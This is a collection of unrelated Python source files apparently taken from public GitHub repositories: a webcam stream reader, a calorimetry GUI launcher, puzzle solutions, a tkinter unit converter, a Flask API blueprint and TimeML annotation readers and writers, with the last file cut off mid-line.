placeholder\n #outputs = [layer.output for layer in model.layers] # all layer outputs\n #functors = [K.function([inp, K.learning_phase()], [out]) for out in outputs] # evaluation functions\n \n #return outputs, functors\n\ndef plotDrawHorizontaly(draw, output1, output2, output3,l1 = 0, l2=800, inverse = False, \n ticks=False): # ticks =-0.5 trace eol.\n \n ticksEach = 20\n def plotTicks(ticksAt):\n for xc in ticksAt:\n plt.axvline(x=xc, lw = 0.5, color = \"gray\")\n\n \n zoom_range=range(l1,l2)\n if inverse:\n zoom_range2 = range(800-l1-1,800-l2-1,-1)\n else: \n zoom_range2 = zoom_range\n\n ticksAt = []\n\n for p in zoom_range2:\n\n if draw[p,2] == ticks:\n ticksAt.append(p)\n\n #ticksEach = [100,200,300]\n ticksEach = ticksAt\n\n plt.figure(\n figsize=(356*3/80,436/80))\n plt.subplot(4, 1, 1)\n plt.plot(zoom_range,draw[zoom_range2,0]/500,\"-\",color=\"green\")\n plt.plot(zoom_range,draw[zoom_range2,1]/500,\"-\",color=\"blue\")\n\n if ticks:\n plotTicks(ticksEach)\n #print(outConv[0,range2Conv,i3])\n \n plt.subplot(4, 1, 2)\n plt.plot(zoom_range,output1[zoom_range],\"-\",color=\"violet\")\n plt.axhline(y=0, lw = 0.5, color = \"gray\")\n if ticks:\n plotTicks(ticksEach)\n\n plt.subplot(4, 1, 3)\n plt.plot(zoom_range,output2[zoom_range],\"-\",color=\"brown\")\n plt.axhline(y=0, lw = 0.5, color = \"gray\")\n if ticks:\n plotTicks(ticksEach)\n \n plt.subplot(4, 1, 4)\n plt.plot(zoom_range,output3[zoom_range],\"-\",color=\"orange\")\n plt.axhline(y=0, lw = 0.5, color = \"gray\")\n if ticks:\n plotTicks(ticksEach)\n plt.show()","repo_name":"xavierign/FaCells","sub_path":"functions/modelExploring.py","file_name":"modelExploring.py","file_ext":"py","file_size_in_byte":3691,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"42452494292","text":"from threading import Thread\nimport cv2\n\n\nclass WebcamVideoStream:\n def __init__(self, src=0, contrast=None, saturation=None, debug=False):\n # initialize the video camera stream and read the first frame\n # from the stream\n self.stream = cv2.VideoCapture(src)\n\n self.saved_contrast = None\n if contrast is not None:\n self.saved_contrast = self.stream.get(cv2.CAP_PROP_CONTRAST)\n self.stream.set(cv2.CAP_PROP_CONTRAST, contrast)\n if debug:\n print(\"setting camera contrast to\", contrast)\n elif debug:\n print(\"camera contrast is\", self.stream.get(cv2.CAP_PROP_CONTRAST))\n\n self.saved_saturation = None\n if saturation is not None:\n self.saved_saturation = self.stream.get(cv2.CAP_PROP_SATURATION)\n self.stream.set(cv2.CAP_PROP_SATURATION, saturation)\n if debug:\n print(\"setting camera saturation to\", saturation)\n elif debug:\n print(\"camera saturation is\", self.stream.get(cv2.CAP_PROP_SATURATION))\n (self.grabbed, self.frame) = self.stream.read()\n\n # initialize the variable used to indicate if the thread should\n # be stopped\n self.stopped = False\n\n def start(self):\n # start the thread to read frames from the video stream\n Thread(target=self.update, args=()).start()\n return self\n\n def update(self):\n # keep looping infinitely until the thread is stopped\n while True:\n # if the thread indicator variable is set, stop the thread\n if self.stopped:\n return\n\n # otherwise, read the next frame from the stream\n (self.grabbed, self.frame) = self.stream.read()\n\n def read(self):\n # return the frame most recently read\n return self.frame\n\n def stop(self):\n # indicate that the thread should be stopped\n self.stopped = True\n if self.saved_contrast is not None:\n self.stream.set(cv2.CAP_PROP_CONTRAST, self.saved_contrast)\n if self.saved_saturation is not None:\n self.stream.set(cv2.CAP_PROP_SATURATION, self.saved_saturation)","repo_name":"michele-mada/cv-eyetracking-project-2017","sub_path":"py_eyetracker_v1.0/utils/camera/capture.py","file_name":"capture.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"19387616416","text":"# Author: 赵泽华\r\n'''\r\n\r\n快速启动:\r\n 运行\"main-win.exe\"或\"main-mac.app\"即可自动运行main.py\r\n 如出现异常情况，尝试运行\"requirements-win.exe\"或\"requirements-mac.app\"安装或更新依赖库\r\n main-win/mac需要与main.py在同一目录下，requirements-win/mac需要与requirements.txt在同一目录下\r\n\r\n图形界面的可调参数:\r\n dx: 积分、绘图步长\r\n time_interval: 记录数据间隔，单位毫秒\r\n plot_max_points: 绘图最大点数\r\n port_timeout: 串口超时时间，单位秒\r\n std_limit: 自动寻找平台期的标准差阈值\r\n time_lower_limit: 自动寻找平台期的最小时间窗口\r\n time_upper_limit: 自动寻找平台期的最大时间窗口\r\n width_height_inches: 保存图片尺寸，单位英尺\r\n dpi: 保存图片DPI\r\n\r\n内置库:\r\n csv\r\n os\r\n re\r\n sys\r\n shutil\r\n time\r\n tkinter\r\n\r\n第三方库:\r\n 在命令行中运行pip install -r requirements.txt --upgrade安装或更新以下库\r\n func_timeout\r\n matplotlib\r\n numpy\r\n Pillow\r\n pyserial\r\n scipy\r\n ttkbootstrap\r\n\r\n自建库:\r\n expserial (Author: 安孝彦) # 串口通信\r\n gui (Author: 赵泽华) # 图形界面\r\n maths (Author: 赵泽华) # 数学计算\r\n water_capacity_smooth (Author: 赵泽华) # 水的热容三阶插值\r\n water_density_smooth (Author: 赵泽华) # 水的密度三阶插值\r\n\r\n\r\n'''\r\n\r\n# 内置库\r\nimport os\r\nimport shutil\r\nimport sys\r\n# 自建库\r\n\r\nfrom gui import App\r\n\r\n\r\n# 可调参数\r\ndx = 0.1 # 积分、绘图步长\r\ntime_interval = 500 # 记录数据间隔，单位毫秒\r\nplot_max_points = 500 # 绘图最大点数\r\nport_timeout = 0.25 # 串口超时时间，单位秒\r\nstd_limit = 0.005 # 自动寻找平台期的标准差阈值\r\ntime_lower_limit = 30 # 自动寻找平台期的最小时间窗口\r\ntime_upper_limit = 40 # 自动寻找平台期的最大时间窗口\r\nwidth_height_inches = (10, 6) # 保存图片尺寸，单位英尺\r\ndpi = 600 # 保存图片DPI\r\n\r\nif __name__ == \"__main__\":\r\n # 获取当前路径\r\n # 如果是pyinstaller打包的exe文件，则获取可执行文件所在目录的绝对路径\r\n if getattr(sys, 'frozen', False):\r\n py_path = os.path.dirname(os.path.abspath(sys.executable))\r\n #如果是mac\r\n if sys.platform == 'darwin':\r\n for i in range(3):\r\n py_path = os.path.dirname(py_path)\r\n # 如果是运行的py文件，则获取py文件所在目录的绝对路径\r\n else:\r\n py_path = os.path.dirname(os.path.abspath(__file__))\r\n App(dx, time_interval, plot_max_points, port_timeout, std_limit, time_lower_limit, time_upper_limit, width_height_inches, dpi, py_path)\r\n # 清除缓存文件夹\r\n pycache_dir = py_path + '/__pycache__'\r\n if os.path.exists(pycache_dir):\r\n shutil.rmtree(pycache_dir)","repo_name":"ZhaoZh02/Dissolution-Combustion","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2951,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"42"} +{"seq_id":"4162746431","text":"import sys\n\ndef get_priority(char):\n p = ord(char.swapcase()) - 64\n\n if p > 26:\n return p - 6\n return p\n\ndef find_duplicate(first, second):\n for char in first:\n if char in second:\n return char\n\ndef find_duplicate2(first, second, third):\n inBoth = [c for c in first if c in second]\n return find_duplicate(inBoth, third)\n\n\nfilename = str(sys.argv[1])\n\nwith open(filename, 'r') as f:\n contents = f.readlines()\n\nsum = 0\nfor backpack in contents:\n first = backpack[:len(backpack)//2]\n second = backpack[len(backpack)//2:-1]\n\n if len(first) > 0:\n dup = find_duplicate(first, second)\n sum += get_priority(dup)\n\nprint(sum)\n\nsum = 0\nfor i in [i * 3 for i in range(len(contents) // 3)]:\n elf1 = contents[i]\n elf2 = contents[i + 1]\n elf3 = contents[i + 2]\n\n sum += get_priority(find_duplicate2(elf1, elf2, elf3))\n\nprint(sum)\n","repo_name":"bengunton/AdventOfCode2022","sub_path":"03/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":895,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"10763578757","text":"# [백준] 14659번 - 한조서열정리하고옴ㅋㅋ\n# 블로그 주소 : https://tteum.tistory.com/280\n\nimport sys\nN = int(sys.stdin.readline())\nhanzo = list(map(int, sys.stdin.readline().split()))\nwinner = hanzo[0]\nresult = []\ncount = 0\n\nfor i in range(1,len(hanzo)):\n if winner < hanzo[i]:\n winner = hanzo[i]\n result.append(count)\n count = 0\n else :\n count += 1\n if i == len(hanzo)-1:\n result.append(count)\n \nprint(max(result))","repo_name":"set990317/CODINGTEST_PRACTICE","sub_path":"DAY 101 ~ 200/DAY_131 [백준] 14659번 - 한조서열정리하고옴ㅋㅋ.py","file_name":"DAY_131 [백준] 14659번 - 한조서열정리하고옴ㅋㅋ.py","file_ext":"py","file_size_in_byte":496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"1522199385","text":"\nimport tkinter\n\n\ndef button_clicked():\n new_number = 1.609 * float(entry10.get())\n label11.config(text=f\"{new_number}\") # I used an f string to convert it back to string.\n\n\nwindow = tkinter.Tk()\nwindow.title(\"Mile to Km Converter\")\nwindow.config(padx=20, pady=20)\n\nentry10 = tkinter.Entry(width=10)\nentry10.grid(column=1, row=0)\n\nlabel20 = tkinter.Label(text=\"Miles\")\nlabel20.grid(column=2, row=0)\n\nlabel01 = tkinter.Label(text=\"is equal to\")\nlabel01.grid(column=0, row=1)\n\nlabel11 = tkinter.Label(text=\"0\")\nlabel11.grid(column=1, row=1)\n\nlabel21 = tkinter.Label(text=\"Km\")\nlabel21.grid(column=2, row=1)\n\nbutton12 = tkinter.Button(text=\"Calculate\", command=button_clicked)\nbutton12.grid(column=1, row=2)\n\nwindow.mainloop()\n","repo_name":"DanielAlexLangley/reference_from_python_bootcamp","sub_path":"apps_intermediate/tkinter_miles_to_km/tkinter_miles_to_km_main.py","file_name":"tkinter_miles_to_km_main.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"42394965922","text":"\"\"\"Advent Of Code 2022 : Day 3\n\"\"\"\nfrom utils import get_input\nfrom collections import Counter\n\n\nraw_input = get_input(day=3)\n\n\ndef letter_to_score(letter: str) -> int:\n return (ord(letter) - 96) if letter.islower() else (ord(letter) - 64 + 26)\n\n\ndef part1():\n priority_score = 0\n for rucksack in raw_input:\n first_compartment = rucksack[:int(len(rucksack) / 2)]\n second_compartment = rucksack[int(len(rucksack) / 2):]\n \n common_letters = set(first_compartment).intersection(set(second_compartment))\n \n score = 0\n for letter in common_letters:\n score += letter_to_score(letter)\n\n priority_score += score\n \n return priority_score\n\n\ndef part2():\n priority_score = 0\n for rucksack_group_id in range(len(raw_input) // 3):\n rucksack_group = [\n raw_input[3 * rucksack_group_id],\n raw_input[3 * rucksack_group_id + 1],\n raw_input[3 * rucksack_group_id + 2]\n ]\n \n common_group_letters = list(set(rucksack_group[0]) \\\n .intersection(set(rucksack_group[1])) \\\n .intersection(set(rucksack_group[2])))\n \n priority_score += letter_to_score(common_group_letters[-1])\n return priority_score\n\n\nif __name__ == \"__main__\":\n print(f\"Part 1 result : {part1()}\")\n print(f\"Part 2 result : {part2()}\")\n","repo_name":"AlexLacour/advent-of-code-2022","sub_path":"advent-of-code-2022/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":1377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"39074074875","text":"# -*- coding: utf8 -*-\nfrom flask import Blueprint\nfrom flask_restplus import Api\nfrom namespaces.netns import nsnetns as ns1\n\nblueprint = Blueprint('api_v1', __name__, url_prefix='/api/v1')\napi = Api(blueprint,\n title='Vrouter Api',\n doc='/doc/',\n version='1.0',\n )\n\n\napi.add_namespace(ns1)\n","repo_name":"nicobbg/Vrouter-api","sub_path":"apps/apiv1.py","file_name":"apiv1.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"19530767540","text":"import math\nimport numpy as np \ndict1={1:(1,0),2:(2,0),3:(2,3),4:(5,6)}\ntuple1=[(1,2),(3,4)]\nn = len(dict1) \nadj_mat = [[float('inf')] * n for _ in range(n)]\ndef adjmat(dict1,tuple1):\n for i in range(0,len(adj_mat)):\n for j in range(0,len(adj_mat)):\n adj_mat[i][j]=math.inf\n for i in tuple1:\n x=dict1[i[0]]\n y=dict1[i[1]]\n x1=x[0]\n y1=x[1]\n x2=y[0]\n y2=y[1]\n dist=(x2-x1)**2+(y2-y1)**2\n dist_sqr=math.sqrt(dist)\n node1=i[0]\n node2=i[1]\n adj_mat[node1-1][node2-1]=dist_sqr\n return adj_mat\nprint(adjmat(dict1,tuple1))","repo_name":"Pooshpal/Just-Map-It","sub_path":"Navigation Unit/Scripts/adjmat.py","file_name":"adjmat.py","file_ext":"py","file_size_in_byte":619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"42"} +{"seq_id":"35373619292","text":"from __future__ import print_function\nfrom lib.data import Text, reverse_dict_list\nimport glob, codecs, re, os, shutil\nimport xml.etree.ElementTree as ET\nimport datetime\nfrom bs4 import BeautifulSoup\nfrom xml.dom import minidom\n\ndef extend_annotations_verb_clause(existing_documents, extension_file_path, replace_annotations=False, verbose=0):\n\tnew_annotations = {doc.id:[] for doc in existing_documents}\n\twith open(extension_file_path, 'r') as f:\n\t\tfor line in f.readlines()[:-1]:\n\t\t\tif line[0]!='#':\n\t\t\t\tdoc_id, a1, a2, label = line.rstrip().split()\n\t\t\t\ta1, a2 = a1.replace('tmx','tid:t').replace('ei','eiid:ei'), a2.replace('tmx','tid:t').replace('ei','eiid:ei')\n\t\t\t\tnew_annotations[doc_id].append((a1,a2,label))\n\tskipped, done = 0, 0\n\tfor doc in existing_documents:\n\t\tfor (a1,a2,label) in new_annotations[doc.id]:\n\t\t\tif (not a1 in doc.span_annotations) or (not a2 in doc.span_annotations):\n\t\t\t\tskipped += 1\n\t\t\t\tcontinue\n\t\t\tdone+=1\n\t\t\tspan_a1, span_a2 = doc.span_annotations[a1][0], doc.span_annotations[a2][0]\n\t\t\tpair = span_a1, span_a2\n\t\t\tif not label in doc.span_pair_annotations:\n\t\t\t\tdoc.span_pair_annotations[label] = []\n\t\t\t\t\n\t\t\tif pair in doc.reverse_span_pair_annotations:\n\t\t\t\tif replace_annotations:\n\t\t\t\t\tcurrent_label = doc.reverse_span_pair_annotations[pair][0]\n\t\t\t\t\tdoc.span_pair_annotations[current_label].remove(pair)\n\t\t\t\t\tdoc.span_pair_annotations[label].append(pair)\t\n\t\t\telse:\n\t\t\t\tdoc.span_pair_annotations[label].append(pair)\t\t\t\t\t\n\t\tdoc.reverse_span_pair_annotations = reverse_dict_list(doc.span_pair_annotations)\n\tprint('skipped', skipped, 'added', done)\n\treturn existing_documents\n\ndef extend_annotations_timebankdense(existing_documents, extension_file_path, replace_annotations=False, filter_documents=False, include_vague=False, verbose=0):\n\ttimebank_dense_abbreviations = {'a':'AFTER', 'b':'BEFORE', 'i':'INCLUDES', 's':'SIMULTANEOUS', 'ii':'IS_INCLUDED', 'v':'VAGUE'}\n\tentity_pair_labels_per_document = {}\n\ttotal_count = 0\n\twith codecs.open(extension_file_path, 'r') as f:\n\t\tfor line in f.readlines():\n\t\t\tFilename, A1, A2, label = line.strip().split('\\t')\n\t\t\t#print Filename, A1, A2, label\n\t\t\tif not Filename in entity_pair_labels_per_document:\n\t\t\t\tentity_pair_labels_per_document[Filename] = {}\n\t\t\t\n\t\t\tif not label in entity_pair_labels_per_document[Filename]:\n\t\t\t\tentity_pair_labels_per_document[Filename][label] = []\n\t\t\tentity_pair_labels_per_document[Filename][label].append((A1,A2))\n\tto_be_removed_docs = []\n\tfor doc in existing_documents:\n\t\t\n\t\tif doc.id in entity_pair_labels_per_document:\n\t\t\tcount = 0\n\t\t\tif replace_annotations == True:\n\t\t\t\tdoc.span_pair_annotations = {}\n\t\t\t\tdoc.reverse_span_pair_annotations = {}\n\t\t\t\t\n\t\t\tfor label in entity_pair_labels_per_document[doc.id]:\n\t\t\t\tfull_label = timebank_dense_abbreviations[label]\n\t\t\t\tif not (include_vague) and full_label == 'VAGUE':\n\t\t\t\t\tcontinue\n\t\t\t\tif not full_label in doc.span_pair_annotations:\n\t\t\t\t\tdoc.span_pair_annotations[full_label] = []\n\t\t\t\tfor a1, a2 in entity_pair_labels_per_document[doc.id][label]:\n\t\t\t\t\tfull_a1 = 'tid:' + a1 if 't' in a1 else 'eid:' + a1\n\t\t\t\t\tfull_a2 = 'tid:' + a2 if 't' in a2 else 'eid:' + a2\n\t\t\t\t\tspan_a1 = doc.span_annotations[full_a1][0]\n\t\t\t\t\tspan_a2 = doc.span_annotations[full_a2][0]\n\t\t\t\t\tprint(span_a1,span_a2,full_label)\n\t\t\t\t\tif not (span_a1, span_a2) in doc.reverse_span_annotations: # Only add relations if there is no relation yet!\n\t\t\t\t\t\tdoc.span_pair_annotations[full_label].append((span_a1, span_a2))\n\t\t\t\t\t\tcount+=1\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint((span_a1, span_a2), 'already present')\n\t\t\tif verbose:\n\t\t\t\tprint (count,'\\t', doc.id)\n\t\t\ttotal_count += count\n\t\telif filter_documents:\n\t\t\tto_be_removed_docs.append(doc)\n\t\telse:\n\t\t\tif verbose:\n\t\t\t\tprint ('0 \\t', doc.id)\t\t\t\t\t\n\t\tdoc.update_annotations()\n\t\t\n\tif filter_documents:\n\t\tif verbose:\n\t\t\tprint ('removed docs:', len(to_be_removed_docs))\n\t\tfor doc in to_be_removed_docs:\n\t\t\tif doc in existing_documents:\n\t\t\t\texisting_documents.remove(doc)\t\n\t\n\tprint ('added relations:', total_count)\t\n\treturn existing_documents\n\t\n\n\n\n\n\n\ndef extend_annotations_reimers(existing_documents, extension_file_path):\n\tentity_labels_per_document = {}\n\t\n\t# read annotations\n\twith codecs.open(extension_file_path, 'r') as f:\n\t\tfor line in f.readlines():\n\t\t\tFilename, SentenceNumber, TokenNumber, TagName, TagID, InstanceID, AttributeName, AttributeValue = line.strip().split('\\t')\n\t\t\tif not Filename in entity_labels_per_document:\n\t\t\t\tentity_labels_per_document[Filename] = {}\n\t\t\tentity_labels_per_document[Filename][TagID] = AttributeValue\n\t\t\t\n\t# assign annotations\n\tfor doc in existing_documents:\n\t\tif doc.id in entity_labels_per_document:\n\t\t\tcount = 0 \n\t\t\tfor eid, e_time in entity_labels_per_document[doc.id].items():\n\t\t\t\tfor span in doc.span_annotations['eid:'+eid]:\n\t\t\t\t\t#print '\\t', span, eid, e_time\n\t\t\t\t\tif not 'Reimersetal:'+e_time in doc.span_annotations:\n\t\t\t\t\t\tdoc.span_annotations['Reimersetal:'+e_time]=[]\n\t\t\t\t\tdoc.span_annotations['Reimersetal:'+e_time].append(span)\n\t\t\t\t\tcount+=1\n\t\t\tdoc.reverse_span_annotations = reverse_dict_list(doc.span_annotations)\n\t\t\tprint (count,'\\t', doc.id)\n\t\t\t\n\t\telse:\n\t\t\tprint ('0 \\t', doc.id)\n\t\t\n\treturn existing_documents\t\t\t\t\n\t\t\t\t\t\n\ndef write_timebank_folder(docs, out_dir, verbose=1):\n\tif os.path.exists(out_dir):\n\t\tshutil.rmtree(out_dir)\n\tos.makedirs(out_dir)\n\tfor doc in docs:\n\t\tdoc.update_annotations()\n\t\twith open(out_dir + '/' + doc.id + '.tml', 'w') as f:\n\t\t\t# TimeML\n\t\t\tpermitted_attributes = set(['eid', 'eiid','value','tid', 'temporalFunction','functionInDocument','type','EType','class','anchorTimeID','beginPoint'])\n\t\t\tdoc_xml = ET.Element('TimeML')\n\t\t\tdoc_xml.attrib['xmlns:xsi']='http://www.w3.org/2001/XMLSchema-instance'\n\t\t\tdoc_xml.attrib['xsi:noNamespaceSchemaLocation']='http://timeml.org/timeMLdocs/TimeML_1.2.1.xsd'\n\t\t\t\n\t\t\t# > DOCID\n\t\t\tdocid = ET.SubElement(doc_xml,'DOCID')\n\t\t\tdocid.text = doc.id\n\n\t\t\t# > DCT\n\t\t\tdct = ET.SubElement(doc_xml,'DCT')\n\t\t\tdct = ET.SubElement(dct,'TIMEX3')\n\n\t\t\tspan_to_id = {'eid':{},'tid':{}, 'eiid':{}}\n\t\t\teid_to_eiid = {}\t\t\t\n\t\t\ttemp_value = '00:00:00'\n\t\t\tfor ann in doc.reverse_span_annotations[(0,0)]:\n\t\t\t\tsplit = ann.split(':')\n\t\t\t\tkey, value = split[0],':'.join(split[1:])\n\t\t\t\tif not key in permitted_attributes:\n\t\t\t\t\tcontinue\n\t\t\t\tdct.attrib[key]=value\n\t\t\t\tif key == 'tid':\n\t\t\t\t\tspan_to_id['tid'][(0,0)]=value\n\n\t\t\t\telif key=='value':\n\t\t\t\t\ttemp_value=value\n\t\t\tdct.text = temp_value\n\t\t\t# > EXTRAINFO\n\t\t\textrainfo = ET.SubElement(doc_xml,'EXTRAINFO')\n\t\t\textrainfo.text=\"...\"\n\t\t\t# > TEXT\n\t\t\ttext_xml = ET.SubElement(doc_xml,'TEXT')\n\t\t\tentity_labels = doc.get_span_labels_by_regex('EType')\n\t\t\tspan_starts = {span[0]:span for elab in entity_labels for span in doc.span_annotations[elab]}\n\t\t\ttext_str, char_i = \"\", 0\n\n\t\t\twhile(char_i < len(doc.text)):\n\t\t\t\tchar = doc.text[char_i]\n\t\t\t\tto_be_printed, length = char, 1\n\t\t\t\tif char_i in span_starts:\n\t\t\t\t\tstart, end = span_starts[char_i]\n\t\t\t\t\tif not (start,end) == (0,0):\t\t\n\t\t\t\t\t\tlength = end-start\n\t\t\t\t\t\tannotations = doc.reverse_span_annotations[(start, end)]\n\t\t\t\t\t\tif [ann for ann in annotations if ann.split(':')[0]=='EType'] != [] :\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tannotation_type = [ann for ann in annotations if ann.split(':')[0]=='EType'][0].split(':')[1]\n\t\t\t\t\t\t\t#print(annotation_type, char_i, doc.text[start:end], length, annotations)\n\t\t\t\t\t\t\txml_ann = ET.Element(annotation_type)\n\t\t\t\t\t\t\txml_ann.text = doc.text[start:end]\n\t\t\t\t\t\t\tann_keys = set()\n\t\t\t\t\t\t\tfor ann in annotations:\n\t\t\t\t\t\t\t\tsplit = ann.split(':')\n\t\t\t\t\t\t\t\tkey, value = split[0],':'.join(split[1:])\n\t\t\t\t\t\t\t\tif not key in permitted_attributes:\n\t\t\t\t\t\t\t\t\tcontinue\n\t\t\t\t\t\t\t\tann_keys.add(key)\n\t\t\t\t\t\t\t\tif not (key=='EType' or key=='eiid'):\n\t\t\t\t\t\t\t\t\txml_ann.attrib[key]=value\t\n\t\t\t\t\t\t\t\tif key=='eid' or key=='tid' or key=='eiid':\n\t\t\t\t\t\t\t\t\tspan_to_id[key][(start,end)]=value\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tif not ('eid' in ann_keys) and annotation_type=='EVENT':\n\t\t\t\t\t\t\t\tprint('ERROR: no eid!',doc.id, xml_ann.text)\n\t\t\t\t\t\t\t\texit()\n\t\t\t\t\t\t\telif not('tid' in ann_keys) and annotation_type=='TIMEX3':\n\t\t\t\t\t\t\t\tprint('ERROR: no tid!',doc.id, xml_ann.text)\n\t\t\t\t\t\t\t\texit()\n\t\t\t\t\t\t\tto_be_printed = ET.tostring(xml_ann,encoding=\"unicode\")\n\t\t\t\ttext_str += to_be_printed\n\t\t\t\tchar_i += length\n\t\t\ttext_xml.text=text_str\n\t\t\t\n\t\t\tlastextrainfo = ET.SubElement(doc_xml,'LASTEXTRAINFO')\n\t\t\tlastextrainfo.text = doc.id\n\n\t\t\tfor span in span_to_id['eid']:\n\t\t\t\tif span in span_to_id['eiid']:\n\t\t\t\t\teid_to_eiid[span_to_id['eid'][span]] = span_to_id['eiid'][span]\n\t\t\t\n\t\t\tfor eid in eid_to_eiid:\n\t\t\t\tmakeinstance = ET.SubElement(doc_xml,'MAKEINSTANCE')\n\t\t\t\tmakeinstance.attrib = {'eventID':str(eid), 'eiid':str(eid_to_eiid[eid])}\n\n\n\t\t\tlid = 1\n\t\t\tfor span_pair, rels in doc.reverse_span_pair_annotations.items():\n\t\t\t\tfor rel in rels:\n\t\t\t\t\tsp1, sp2 = span_pair\n\t\t\t\t\tid1 = span_to_id['eiid'][sp1] if sp1 in span_to_id['eiid'] else span_to_id['tid'][sp1]\n\t\t\t\t\tid2 = span_to_id['eiid'][sp2] if sp2 in span_to_id['eiid'] else span_to_id['tid'][sp2]\n\t\t\t\t\ttlink = ET.SubElement(doc_xml,'TLINK')\n\t\t\t\t\ttlink.attrib = {'lid':'l'+str(lid), 'relType':rel}\n\t\t\t\t\tlid+=1\n\t\t\t\t\tif 't'in id1:\n\t\t\t\t\t\ttlink.attrib['timeID']=id1\n\t\t\t\t\telse:\n\t\t\t\t\t\ttlink.attrib['eventInstanceID']=id1\n\t\t\t\t\t\t\n\t\t\t\t\tif 't' in id2:\n\t\t\t\t\t\ttlink.attrib['relatedToTime']=id2\n\t\t\t\t\telse:\n\t\t\t\t\t\ttlink.attrib['relatedToEventInstance'] = id2\n\t\t\t\t\t#print(span_pair, rel, id1, id2)\n\t\t\t\t\t\n\t\t\t#02/12/1998 01:58:00\n\t\t\t\n\t\t\t#doc_xml_string = ET.tostring(doc_xml, encoding='UTF-8')\n\t\t\t#print (type(doc_xml_string))\n\t\t\tdoc_xml_string = minidom.parseString(ET.tostring(doc_xml,encoding=\"unicode\").replace('\\t', '')).toprettyxml(indent = \"\", newl='\\n')\n\t\t\t#print (doc_xml_string)\n\t\t\tif verbose > 0:\n\t\t\t\tprint('written',doc.id)\n\t\t\t\n\t\t\tf.write(doc_xml_string.replace('<','<').replace('>','>').replace('"', '\"'))\n\t\t\n\ndef read_timebank_folder(folder, verbose=1, conflate_digits=False, pos=False, lowercase=True):\n\tdocs = []\n\ttotal_tlinks = 0\n\tfor file_path in glob.glob(folder + \"*.tml\"):\n\t\twith codecs.open(file_path, 'r') as f:\n\t\t\tnum_events, num_timex3, num_tlinks = 0,0,0\n\t\t\txml_str = f.read()\n\t\t\txmlSoup = BeautifulSoup(xml_str, 'xml')\n\t\t\ttext = xmlSoup.find_all('TEXT')[0]\n\t\t\traw_txt = \"\"\n\t\t\t\n\t\t\n\t\t\t# Read Entity Spans\n\t\t\tentity_labels = ['EType:EVENT', 'EType:TIMEX3']\t\n\t\t\tlabel_to_spans = {l:[] for l in entity_labels}\n\t\t\t\n\t\t\t# add DCT\n\t\t\tdct_span=(0,0)\n\t\t\tfor attr,value in xmlSoup.find('DCT').find('TIMEX3').attrs.items() :\n\t\t\t\t\n\t\t\t\tlabel = attr+':'+value\n\t\t\t\t\n\t\t\t\tif not label in label_to_spans:\n\t\t\t\t\tlabel_to_spans[label]=[]\n\t\t\t\tlabel_to_spans[label].append(dct_span)\t\n\n\t\t\tfor content in text.contents:\n\t\t\t\tstart = len(raw_txt)\n\t\t\t\tend = start + len(content.string)\n\t\t\t\tspan = (start, end)\n\t\t\t\t\n\t\t\t\tif content.name == 'EVENT':\n\t\t\t\t\tnum_events += 1\n\t\t\t\t\teid=content.attrs['eid']\n\t\t\t\t\tlabel_to_spans['EType:'+content.name].append(span)\t\t\n\n\t\t\t\t\tfor attr,value in content.attrs.items():\n\t\t\t\t\t\tlabel = attr+':'+value \n\t\t\t\t\t\tif not label in label_to_spans:\n\t\t\t\t\t\t\tlabel_to_spans[label]=[]\n\t\t\t\t\t\tlabel_to_spans[label].append(span)\n#\t\t\t\t\tlabel_to_spans[content.name].append(span)\n\t\t\t\t\t\n\t\t\t\telif content.name == 'TIMEX3':\n\t\t\t\t\tnum_timex3 += 1\n\t\t\t\t\teid=content.attrs['tid']\n\t\t\t\t\tlabel_to_spans['EType:'+content.name].append(span)\t\t\n\t\t\t\t\tfor attr,value in content.attrs.items():\n\t\t\t\t\t\tlabel = attr+':'+value \n\t\t\t\t\t\tif not label in label_to_spans:\n\t\t\t\t\t\t\tlabel_to_spans[label]=[]\n\t\t\t\t\t\tlabel_to_spans[label].append(span)\n\n\t\t\t\traw_txt += content.string\n\n\t\t\t# Adding EIIDs and other info to Entities\n\t\t\tfor instance in xmlSoup.find_all('MAKEINSTANCE'):\n\t\t\t\teiid = instance.attrs['eiid']\n\t\t\t\teid = instance.attrs['eventID']\n\t\t\t\tspan = label_to_spans['eid:'+eid][0]\n\t\t\t\tlabel_to_spans['eiid:'+eiid] = [span]\n\t\t\t\t#print('---', span)\n\t\t\t\tfor attr in instance.attrs:\n\t\t\t\t\tif not (attr == 'eiid' or attr == 'eventID'):\n\t\t\t\t\t\tlab= attr + ':' + instance.attrs[attr]\n\t\t\t\t\t\t#print(lab)\n\t\t\t\t\t\tif not lab in label_to_spans:\n\t\t\t\t\t\t\tlabel_to_spans[lab] = []\n\t\t\t\t\t\tlabel_to_spans[lab].append(span)\n\t\t\t\t\t\t#print(attr)\n\t\t\t\n\t\t\t# Add TLINK Annotations\n\t\t\t#link_labels = ['BEFORE','AFTER','INCLUDES','IS_INCLUDED','DURING','DURING_INV','SIMULTANEOUS', 'IAFTER', 'IBEFORE', 'IDENTITY','BEGINS', 'ENDS', 'BEGUN_BY', 'ENDED_BY']\n\t\t\tlabel_to_span_pairs = {} #{l:[] for l in link_labels}\n\t\t\tfor tlink in xmlSoup.find_all('TLINK') + xmlSoup.find_all('ALINK') :\n\t\t\t\tnum_tlinks += 1\n\t\t\t\t#print tlink\n\t\t\t\tlink_type = tlink.attrs['relType']\n\t\t\t\tif len(link_type) < 